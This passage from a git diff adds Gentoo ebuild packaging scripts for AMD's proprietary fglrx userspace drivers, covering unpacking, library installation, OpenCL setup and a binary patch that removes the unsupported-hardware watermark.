+	# and the like. We bypass those.
+
+	# The -DUSE_GLU is needed to compile using nvidia headers
+	# according to a comment in ati-drivers-extra-8.33.6.ebuild.
+	"$(tc-getCC)" -o fgl_glxgears ${CFLAGS} ${LDFLAGS} -DUSE_GLU \
+		-I"${S}"/${FOLDER_PREFIX}usr/include fgl_glxgears.c \
+		-lGL -lGLU -lX11 -lm || die "fgl_glxgears build failed"
+	eend $?
+}
+
+src_install() {
+	# We can do two things here, and neither of them is very nice.
+
+	# For direct rendering libGL has to be able to load one or more
+	# dri modules (files ending in _dri.so, like fglrx_dri.so).
+	# Gentoo's mesa looks for these files in the location specified by
+	# LIBGL_DRIVERS_PATH or LIBGL_DRIVERS_DIR, then in the hardcoded
+	# location /usr/$(get_libdir)/dri. Ati's libGL does the same
+	# thing, but the hardcoded location is /usr/X11R6/lib/modules/dri
+	# on x86 and amd64 32bit, /usr/X11R6/lib64/modules/dri on amd64
+	# 64bit. So we can either put the .so files in that (unusual,
+	# compared to "normal" mesa libGL) location or set
+	# LIBGL_DRIVERS_PATH. We currently do the latter. See also bug
+	# 101539.
+
+	# The problem with this approach is that LIBGL_DRIVERS_PATH
+	# *overrides* the default hardcoded location, it does not extend
+	# it. So if ati-drivers is merged but a non-ati libGL is selected
+	# and its hardcoded path does not match our LIBGL_DRIVERS_PATH
+	# (because it changed in a newer mesa or because it was compiled
+	# for a different set of multilib abis than we are) stuff breaks.
+
+	# We create one file per ABI to work with "native" multilib, see
+	# below.
+
+	echo "COLON_SEPARATED=LIBGL_DRIVERS_PATH" > "${T}/03ati-colon-sep"
+	doenvd "${T}/03ati-colon-sep" || die
+
+	# All libraries that we have a 32 bit and 64 bit version of on
+	# amd64 are installed in src_install-libs. Everything else
+	# (including libraries only available in native 64bit on amd64)
+	# goes in here.
+
+	# There used to be some code here that tried to detect running
+	# under a "native multilib" portage ((precursor of)
+	# http://dev.gentoo.org/~kanaka/auto-multilib/). I removed that, it
+	# should just work (only doing some duplicate work). --marienz
+	if has_multilib_profile; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis); do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	# This is sorted by the order the files occur in the source tree.
+
+	# X modules.
+	exeinto /usr/$(get_libdir)/xorg/modules/drivers
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/drivers/fglrx_drv.so
+	exeinto /usr/$(get_libdir)/xorg/modules/linux
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/linux/libfglrxdrm.so
+	exeinto /usr/$(get_libdir)/xorg/modules
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/{glesx.so,amdxmm.so}
+
+	# Arch-specific files.
+	# (s)bin.
+	into /opt
+	dosbin "${ARCH_DIR}"/usr/sbin/atieventsd
+	dobin "${ARCH_DIR}"/usr/bin/clinfo
+	# We cleaned out the compilable stuff in src_unpack
+	dobin "${ARCH_DIR}"/usr/X11R6/bin/*
+
+	# Common files.
+	# etc.
+	insinto /etc/ati
+	exeinto /etc/ati
+	# Everything except for the authatieventsd.sh script.
+	doins ${FOLDER_PREFIX}etc/ati/{logo*,control,atiogl.xml,signature,amdpcsdb.default}
+	doexe ${FOLDER_PREFIX}etc/ati/authatieventsd.sh
+
+	# include.
+	insinto /usr
+	doins -r ${FOLDER_PREFIX}usr/include
+	insinto /usr/include/X11/extensions
+
+	# Just the atigetsysteminfo.sh script.
+	into /usr
+	dosbin ${FOLDER_PREFIX}usr/sbin/*
+
+	# doc.
+	dohtml -r ${FOLDER_PREFIX}usr/share/doc/fglrx
+
+	doman ${FOLDER_PREFIX}usr/share/man/man8/atieventsd.8
+
+	pushd ${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi > /dev/null
+
+	exeinto /etc/acpi
+	doexe ati-powermode.sh
+	insinto /etc/acpi/events
+	doins events/*
+
+	popd > /dev/null
+
+	# Done with the "source" tree. Install tools we rebuilt:
+	dobin extra/fgl_glxgears/fgl_glxgears
+	newdoc extra/fgl_glxgears/README README.fgl_glxgears
+
+	# Gentoo-specific stuff:
+	newinitd "${FILESDIR}"/atieventsd.init atieventsd
+	echo 'ATIEVENTSDOPTS=""' > "${T}"/atieventsd.conf
+	newconfd "${T}"/atieventsd.conf atieventsd
+
+	# PowerXpress stuff
+	exeinto /usr/$(get_libdir)/fglrx
+	doexe "${FILESDIR}"/switchlibGL || die "doexe switchlibGL failed"
+	cp "${FILESDIR}"/switchlibGL "${T}"/switchlibglx
+	doexe "${T}"/switchlibglx || die "doexe switchlibglx failed"
+
+	# Required by upstream AMD
+	touch "${D}/etc/ati/atiapfuser.blb" || die
+	insinto /etc/ati
+	doins "${FOLDER_PREFIX}etc/ati/atiapfxx.blb"
+}
+
+src_install-libs() {
+	if [[ "${ABI}" == "amd64" ]]; then
+		local EX_BASE_DIR="${BASE_DIR}_64a"
+		local pkglibdir=lib64
+		local MY_ARCH_DIR="${S}/arch/x86_64"
+		local oclsuffix=64
+	else
+		local EX_BASE_DIR="${BASE_DIR}"
+		local pkglibdir=lib
+		local MY_ARCH_DIR="${S}/arch/x86"
+		local oclsuffix=32
+	fi
+	einfo "ati tree '${pkglibdir}' -> '$(get_libdir)' on system"
+
+	local ATI_ROOT=/usr/$(get_libdir)/opengl/ati
+	# To make sure we do not miss a spot when these change.
+	local libmajor=1 libminor=2
+	local libver=${libmajor}.${libminor}
+
+	# The GLX libraries
+	# (yes, this really is "lib" even on amd64/multilib --marienz)
+	exeinto ${ATI_ROOT}/lib
+	newexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/fglrx/fglrx-libGL.so.${libver} \
+		libGL.so.${libver}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so.${libmajor}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so
+
+	exeinto ${ATI_ROOT}/extensions
+	doexe "${EX_BASE_DIR}"/usr/X11R6/${pkglibdir}/modules/extensions/fglrx/fglrx-libglx.so
+	# PowerXpress stuff
+	mv "${D}"/${ATI_ROOT}/extensions/{fglrx-,}libglx.so
+
+	# lib.
+	exeinto /usr/$(get_libdir)
+	# Everything except for the libGL.so installed in src_install-libs.
+	doexe $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -name '*.so*' -not -name '*libGL.so*')
+	insinto /usr/$(get_libdir)
+	doins $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -not -name '*.so*')
+
+	# DRI modules, installed into the path used by recent versions of mesa.
+	exeinto /usr/$(get_libdir)/dri
+	doexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/modules/dri/fglrx_dri.so
+
+	# AMD Cal and OpenCL libraries
+	exeinto /usr/$(get_libdir)/OpenCL/vendors/amd
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libamdocl*.so*
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libOpenCL*.so*
+	dosym libOpenCL.so.${libmajor} /usr/$(get_libdir)/OpenCL/vendors/amd/libOpenCL.so
+	exeinto /usr/$(get_libdir)
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libati*.so*
+
+	# OpenCL vendor files
+	insinto /etc/OpenCL/vendors/
+	cat > "${T}"/amdocl${oclsuffix}.icd <<-EOF
+		/usr/$(get_libdir)/OpenCL/vendors/amd/libamdocl${oclsuffix}.so
+	EOF
+	doins "${T}"/amdocl${oclsuffix}.icd
+
+	local envname="${T}"/04ati-dri-path
+	if [[ -n ${ABI} ]]; then
+		envname="${envname}-${ABI}"
+	fi
+	echo "LIBGL_DRIVERS_PATH=/usr/$(get_libdir)/dri" > "${envname}"
+	doenvd "${envname}"
+
+	# Silence the QA notice by creating missing soname symlinks
+	for so in $(find "${D}"/usr/$(get_libdir) -maxdepth 1 -name *.so.[0-9].[0-9])
+	do
+		local soname=${so##*/}
+		## let's keep also this alternative way ;)
+		#dosym ${soname} /usr/$(get_libdir)/${soname%.[0-9]}
+		dosym ${soname} /usr/$(get_libdir)/$(scanelf -qF "#f%S" ${so})
+	done
+
+	#remove static libs if not wanted
+	use static-libs || rm -rf "${D}"/usr/$(get_libdir)/libfglrx_dm.a
+}
+
+pkg_postinst() {
+	elog "To switch to AMD OpenGL, run \"eselect opengl set ati\""
+	elog "To change your xorg.conf you can use the bundled \"aticonfig\""
+	elog
+	elog "If you experience unexplained segmentation faults and kernel crashes"
+	elog "with this driver and multi-threaded applications such as wine,"
+	elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+	elog
+	elog "Fully rebooting the system after an ${PN} update is recommended"
+	elog "Stopping Xorg, reloading fglrx kernel module and restart Xorg"
+	elog "might not work"
+	elog
+	elog "Some cards need acpid running to handle events"
+	elog "Please add it to boot runlevel with rc-update add acpid boot"
+
+	"${ROOT}"/usr/bin/eselect opengl set --use-old ati
+	"${ROOT}"/usr/bin/eselect opencl set --use-old amd
+}
+
+pkg_prerm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/ati-userspace/ati-userspace-12.6_beta_pre897.ebuild b/x11-drivers/ati-userspace/ati-userspace-12.6_beta_pre897.ebuild
new file mode 100644
index 00000000..97cf89c6
--- /dev/null
+++ b/x11-drivers/ati-userspace/ati-userspace-12.6_beta_pre897.ebuild
@@ -0,0 +1,430 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils multilib toolchain-funcs versionator
+
+DESCRIPTION="AMD X11 drivers for radeon r600 (HD Series) and newer chipsets"
+HOMEPAGE="http://www.amd.com"
+MY_V=( $(get_version_components) )
+if [[ ${MY_V[2]} != beta ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/amd-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	#SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	SRC_URI="http://www2.ati.com/drivers/legacy/amd-driver-installer-12.6-legacy-x86.x86_64.zip"
+	FOLDER_PREFIX="common/"
+fi
+IUSE="debug multilib static-libs"
+
+LICENSE="AMD GPL-2 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+RESTRICT="bindist"
+
+RDEPEND="<=x11-base/xorg-server-1.12.49[-minimal]
+	!x11-drivers/ati-drivers:0
+	!x11-apps/ati-drivers-extra
+	>=app-admin/eselect-opengl-1.0.7
+	app-admin/eselect-opencl
+	x11-apps/xauth
+	x11-libs/libX11
+	x11-libs/libXext
+	x11-libs/libXinerama
+	x11-libs/libXrandr
+	x11-libs/libXrender
+	multilib? (
+			app-emulation/emul-linux-x86-opengl
+			app-emulation/emul-linux-x86-xlibs
+	)
+	!<x11-drivers/ati-userspace-${PV}
+	!>x11-drivers/ati-userspace-${PV}"
+
+DEPEND="${RDEPEND}
+	sys-apps/findutils
+	x11-proto/inputproto
+	x11-proto/xf86miscproto
+	x11-proto/xf86vidmodeproto
+	x11-proto/xineramaproto
+	x11-libs/libXtst"
+
+EMULTILIB_PKG="true"
+
+S="${WORKDIR}"
+
+# QA Silencing
+QA_TEXTRELS="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/libatiadlxx.so
+	usr/lib*/xorg/modules/glesx.so
+	usr/lib*/libaticaldd.so
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_EXECSTACK="
+	opt/bin/atiode
+	opt/bin/amdcccle
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_WX_LOAD="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_PRESTRIPPED="
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+"
+
+QA_SONAME="
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+	usr/lib\(32\|64\)\?/libamdocl\(32\|64\)\?.so
+"
+
+QA_DT_HASH="
+	opt/bin/amdcccle
+	opt/bin/aticonfig
+	opt/bin/atiodcli
+	opt/bin/atiode
+	opt/bin/clinfo
+	opt/bin/fglrxinfo
+	opt/sbin/atieventsd
+	opt/sbin/amdnotifyui
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+	usr/lib\(32\|64\)\?/libatiuki.so.1.0
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libfglrx_dm.so.1.0
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/xorg/modules/amdxmm.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/xorg/modules/linux/libfglrxdrm.so
+	usr/lib\(32\|64\)\?/xorg/modules/drivers/fglrx_drv.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/fglrx-libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/lib/fglrx-libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+	usr/lib\(32\|64\)\?/OpenCL/vendors/amd/libamdocl\(32\|64\)\?.so
+	usr/lib\(32\|64\)\?/OpenCL/vendors/amd/libOpenCL.so.1
+"
+
+pkg_setup() {
+	# get the xorg-server version and set BASE_DIR for that
+	BASE_DIR="${S}/xpic"
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+}
+
+src_unpack() {
+	if [[ ${MY_V[2]} == beta ]]; then
+		unpack ${A}
+		RUN=${A/%.zip/.run}
+	else
+		RUN=${A}
+	fi
+	sh "${S}"/${RUN} --extract "${S}"  2>&1 > /dev/null || die \
+	'unpack failed'
+}
+
+src_prepare() {
+	# These are the userspace utilities that we also have source for.
+	# We rebuild these later.
+	rm \
+		"${ARCH_DIR}"/usr/X11R6/bin/fgl_glxgears \
+		|| die "bin rm failed"
+
+        # amdcccle is shipped separately
+        rm "${ARCH_DIR}"/usr/X11R6/bin/amdcccle || die "cannot rm amdcccle"
+
+	# ACPI fixups
+	sed -i \
+		-e "s:/var/lib/xdm/authdir/authfiles/:/var/run/xauth/:" \
+		-e "s:/var/lib/gdm/:/var/gdm/:" \
+		"${S}/${FOLDER_PREFIX}etc/ati/authatieventsd.sh" \
+		|| die "sed failed."
+
+	# Since "who" is in coreutils, we're using that one instead of "finger".
+	sed -i -e 's:finger:who:' \
+		"${S}/${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh" \
+		|| die "Replacing 'finger' with 'who' failed."
+	# Adjust paths in the script from /usr/X11R6/bin/ to /opt/bin/ and
+	# add function to detect default state.
+	epatch "${FILESDIR}"/ati-powermode-opt-path-2.patch
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+
+	# Get rid of watermark. Oldest known reference:
+	# http://phoronix.com/forums/showthread.php?19875-Unsupported-Hardware-watermark
+	ebegin "Disabling watermark"
+	driver="${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/drivers/fglrx_drv.so
+	for x in $(objdump -d ${driver}|awk '/call/&&/EnableLogo/{print "\\x"$2"\\x"$3"\\x"$4"\\x"$5"\\x"$6}'); do
+		sed -i "s/${x}/\x90\x90\x90\x90\x90/g" ${driver} || break 1
+	done
+	eend $? || die "Disabling watermark failed"
+}
+
+src_compile() {
+	ebegin "Building fgl_glxgears"
+	cd "${S}"/extra/fgl_glxgears
+	# These extra libs/utils either have an Imakefile that does not
+	# work very well without tweaking or a Makefile ignoring CFLAGS
+	# and the like. We bypass those.
+
+	# The -DUSE_GLU is needed to compile using nvidia headers
+	# according to a comment in ati-drivers-extra-8.33.6.ebuild.
+	"$(tc-getCC)" -o fgl_glxgears ${CFLAGS} ${LDFLAGS} -DUSE_GLU \
+		-I"${S}"/${FOLDER_PREFIX}usr/include fgl_glxgears.c \
+		-lGL -lGLU -lX11 -lm || die "fgl_glxgears build failed"
+	eend $?
+}
+
+src_install() {
+	# We can do two things here, and neither of them is very nice.
+
+	# For direct rendering libGL has to be able to load one or more
+	# dri modules (files ending in _dri.so, like fglrx_dri.so).
+	# Gentoo's mesa looks for these files in the location specified by
+	# LIBGL_DRIVERS_PATH or LIBGL_DRIVERS_DIR, then in the hardcoded
+	# location /usr/$(get_libdir)/dri. Ati's libGL does the same
+	# thing, but the hardcoded location is /usr/X11R6/lib/modules/dri
+	# on x86 and amd64 32bit, /usr/X11R6/lib64/modules/dri on amd64
+	# 64bit. So we can either put the .so files in that (unusual,
+	# compared to "normal" mesa libGL) location or set
+	# LIBGL_DRIVERS_PATH. We currently do the latter. See also bug
+	# 101539.
+
+	# The problem with this approach is that LIBGL_DRIVERS_PATH
+	# *overrides* the default hardcoded location, it does not extend
+	# it. So if ati-drivers is merged but a non-ati libGL is selected
+	# and its hardcoded path does not match our LIBGL_DRIVERS_PATH
+	# (because it changed in a newer mesa or because it was compiled
+	# for a different set of multilib abis than we are) stuff breaks.
+
+	# We create one file per ABI to work with "native" multilib, see
+	# below.
+
+	echo "COLON_SEPARATED=LIBGL_DRIVERS_PATH" > "${T}/03ati-colon-sep"
+	doenvd "${T}/03ati-colon-sep" || die
+
+	# All libraries that we have a 32 bit and 64 bit version of on
+	# amd64 are installed in src_install-libs. Everything else
+	# (including libraries only available in native 64bit on amd64)
+	# goes in here.
+
+	# There used to be some code here that tried to detect running
+	# under a "native multilib" portage ((precursor of)
+	# http://dev.gentoo.org/~kanaka/auto-multilib/). I removed that, it
+	# should just work (only doing some duplicate work). --marienz
+	if has_multilib_profile; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis); do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	# This is sorted by the order the files occur in the source tree.
+
+	# X modules.
+	exeinto /usr/$(get_libdir)/xorg/modules/drivers
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/drivers/fglrx_drv.so
+	exeinto /usr/$(get_libdir)/xorg/modules/linux
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/linux/libfglrxdrm.so
+	exeinto /usr/$(get_libdir)/xorg/modules
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/{glesx.so,amdxmm.so}
+
+	# Arch-specific files.
+	# (s)bin.
+	into /opt
+	dosbin "${ARCH_DIR}"/usr/sbin/atieventsd
+	dobin "${ARCH_DIR}"/usr/bin/clinfo
+	# We cleaned out the compilable stuff in src_unpack
+	dobin "${ARCH_DIR}"/usr/X11R6/bin/*
+
+	# Common files.
+	# etc.
+	insinto /etc/ati
+	exeinto /etc/ati
+	# Everything except for the authatieventsd.sh script.
+	doins ${FOLDER_PREFIX}etc/ati/{logo*,control,atiogl.xml,signature,amdpcsdb.default}
+	doexe ${FOLDER_PREFIX}etc/ati/authatieventsd.sh
+
+	# include.
+	insinto /usr
+	doins -r ${FOLDER_PREFIX}usr/include
+	insinto /usr/include/X11/extensions
+
+	# Just the atigetsysteminfo.sh script.
+	into /usr
+	dosbin ${FOLDER_PREFIX}usr/sbin/*
+
+	# doc.
+	dohtml -r ${FOLDER_PREFIX}usr/share/doc/fglrx
+
+	doman ${FOLDER_PREFIX}usr/share/man/man8/atieventsd.8
+
+	pushd ${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi > /dev/null
+
+	exeinto /etc/acpi
+	doexe ati-powermode.sh
+	insinto /etc/acpi/events
+	doins events/*
+
+	popd > /dev/null
+
+	# Done with the "source" tree. Install tools we rebuilt:
+	dobin extra/fgl_glxgears/fgl_glxgears
+	newdoc extra/fgl_glxgears/README README.fgl_glxgears
+
+	# Gentoo-specific stuff:
+	newinitd "${FILESDIR}"/atieventsd.init atieventsd
+	echo 'ATIEVENTSDOPTS=""' > "${T}"/atieventsd.conf
+	newconfd "${T}"/atieventsd.conf atieventsd
+
+	# PowerXpress stuff
+	exeinto /usr/$(get_libdir)/fglrx
+	doexe "${FILESDIR}"/switchlibGL || die "doexe switchlibGL failed"
+	cp "${FILESDIR}"/switchlibGL "${T}"/switchlibglx
+	doexe "${T}"/switchlibglx || die "doexe switchlibglx failed"
+
+	# Required by upstream AMD
+	touch "${D}/etc/ati/atiapfuser.blb" || die
+}
+
+src_install-libs() {
+	if [[ "${ABI}" == "amd64" ]]; then
+		local EX_BASE_DIR="${BASE_DIR}_64a"
+		local pkglibdir=lib64
+		local MY_ARCH_DIR="${S}/arch/x86_64"
+		local oclsuffix=64
+	else
+		local EX_BASE_DIR="${BASE_DIR}"
+		local pkglibdir=lib
+		local MY_ARCH_DIR="${S}/arch/x86"
+		local oclsuffix=32
+	fi
+	einfo "ati tree '${pkglibdir}' -> '$(get_libdir)' on system"
+
+	local ATI_ROOT=/usr/$(get_libdir)/opengl/ati
+	# To make sure we do not miss a spot when these change.
+	local libmajor=1 libminor=2
+	local libver=${libmajor}.${libminor}
+
+	# The GLX libraries
+	# (yes, this really is "lib" even on amd64/multilib --marienz)
+	exeinto ${ATI_ROOT}/lib
+	newexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/fglrx/fglrx-libGL.so.${libver} \
+		libGL.so.${libver}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so.${libmajor}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so
+
+	exeinto ${ATI_ROOT}/extensions
+	doexe "${EX_BASE_DIR}"/usr/X11R6/${pkglibdir}/modules/extensions/fglrx/fglrx-libglx.so
+	# PowerXpress stuff
+	mv "${D}"/${ATI_ROOT}/extensions/{fglrx-,}libglx.so
+
+	# lib.
+	exeinto /usr/$(get_libdir)
+	# Everything except for the libGL.so installed in src_install-libs.
+	doexe $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -name '*.so*' -not -name '*libGL.so*')
+	insinto /usr/$(get_libdir)
+	doins $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -not -name '*.so*')
+
+	# DRI modules, installed into the path used by recent versions of mesa.
+	exeinto /usr/$(get_libdir)/dri
+	doexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/modules/dri/fglrx_dri.so
+
+	# AMD Cal and OpenCL libraries
+	exeinto /usr/$(get_libdir)/OpenCL/vendors/amd
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libamdocl*.so*
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libOpenCL*.so*
+	dosym libOpenCL.so.${libmajor} /usr/$(get_libdir)/OpenCL/vendors/amd/libOpenCL.so
+	exeinto /usr/$(get_libdir)
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libati*.so*
+
+	# OpenCL vendor files
+	insinto /etc/OpenCL/vendors/
+	cat > "${T}"/amdocl${oclsuffix}.icd <<-EOF
+		/usr/$(get_libdir)/OpenCL/vendors/amd/libamdocl${oclsuffix}.so
+	EOF
+	doins "${T}"/amdocl${oclsuffix}.icd
+
+	local envname="${T}"/04ati-dri-path
+	if [[ -n ${ABI} ]]; then
+		envname="${envname}-${ABI}"
+	fi
+	echo "LIBGL_DRIVERS_PATH=/usr/$(get_libdir)/dri" > "${envname}"
+	doenvd "${envname}"
+
+	# Silence the QA notice by creating missing soname symlinks
+	for so in $(find "${D}"/usr/$(get_libdir) -maxdepth 1 -name *.so.[0-9].[0-9])
+	do
+		local soname=${so##*/}
+		## let's keep also this alternative way ;)
+		#dosym ${soname} /usr/$(get_libdir)/${soname%.[0-9]}
+		dosym ${soname} /usr/$(get_libdir)/$(scanelf -qF "#f%S" ${so})
+	done
+
+	#remove static libs if not wanted
+	use static-libs || rm -rf "${D}"/usr/$(get_libdir)/libfglrx_dm.a
+}
+
+pkg_postinst() {
+	elog "To switch to AMD OpenGL, run \"eselect opengl set ati\""
+	elog "To change your xorg.conf you can use the bundled \"aticonfig\""
+	elog
+	elog "If you experience unexplained segmentation faults and kernel crashes"
+	elog "with this driver and multi-threaded applications such as wine,"
+	elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+	elog
+	elog "Fully rebooting the system after an ${PN} update is recommended"
+	elog "Stopping Xorg, reloading fglrx kernel module and restart Xorg"
+	elog "might not work"
+	elog
+	elog "Some cards need acpid running to handle events"
+	elog "Please add it to boot runlevel with rc-update add acpid boot"
+
+	"${ROOT}"/usr/bin/eselect opengl set --use-old ati
+	"${ROOT}"/usr/bin/eselect opencl set --use-old amd
+}
+
+pkg_prerm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/ati-userspace/ati-userspace-12.8.ebuild b/x11-drivers/ati-userspace/ati-userspace-12.8.ebuild
new file mode 100644
index 00000000..ab6501fc
--- /dev/null
+++ b/x11-drivers/ati-userspace/ati-userspace-12.8.ebuild
@@ -0,0 +1,426 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils multilib toolchain-funcs versionator
+
+DESCRIPTION="AMD X11 drivers for radeon r600 (HD Series) and newer chipsets"
+HOMEPAGE="http://www.amd.com"
+MY_V=( $(get_version_components) )
+if [[ ${MY_V[2]} != beta ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/amd-driver-installer-${PV/./-}-x86.x86_64.zip"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE="debug multilib x-multilib static-libs"
+
+LICENSE="AMD GPL-2 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+RESTRICT="bindist"
+
+RDEPEND="<=x11-base/xorg-server-1.12.49[-minimal]
+	!x11-drivers/ati-drivers:0
+	!x11-apps/ati-drivers-extra
+	>=app-admin/eselect-opengl-1.0.7
+	app-admin/eselect-opencl
+	x11-apps/xauth
+	x11-libs/libX11
+	x11-libs/libXext
+	x11-libs/libXinerama
+	x11-libs/libXrandr
+	x11-libs/libXrender
+	x-multilib? (
+			app-emulation/emul-linux-x86-opengl
+			app-emulation/emul-linux-x86-xlibs
+	)
+	!<x11-drivers/ati-userspace-${PV}
+	!>x11-drivers/ati-userspace-${PV}"
+
+DEPEND="${RDEPEND}
+	sys-apps/findutils
+	x11-proto/inputproto
+	x11-proto/xf86miscproto
+	x11-proto/xf86vidmodeproto
+	x11-proto/xineramaproto
+	x11-libs/libXtst"
+
+EMULTILIB_PKG="true"
+
+S="${WORKDIR}"
+
+# QA Silencing
+QA_TEXTRELS="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/libatiadlxx.so
+	usr/lib*/xorg/modules/glesx.so
+	usr/lib*/libaticaldd.so
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_EXECSTACK="
+	opt/bin/atiode
+	opt/bin/amdcccle
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_WX_LOAD="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_PRESTRIPPED="
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+"
+
+QA_SONAME="
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
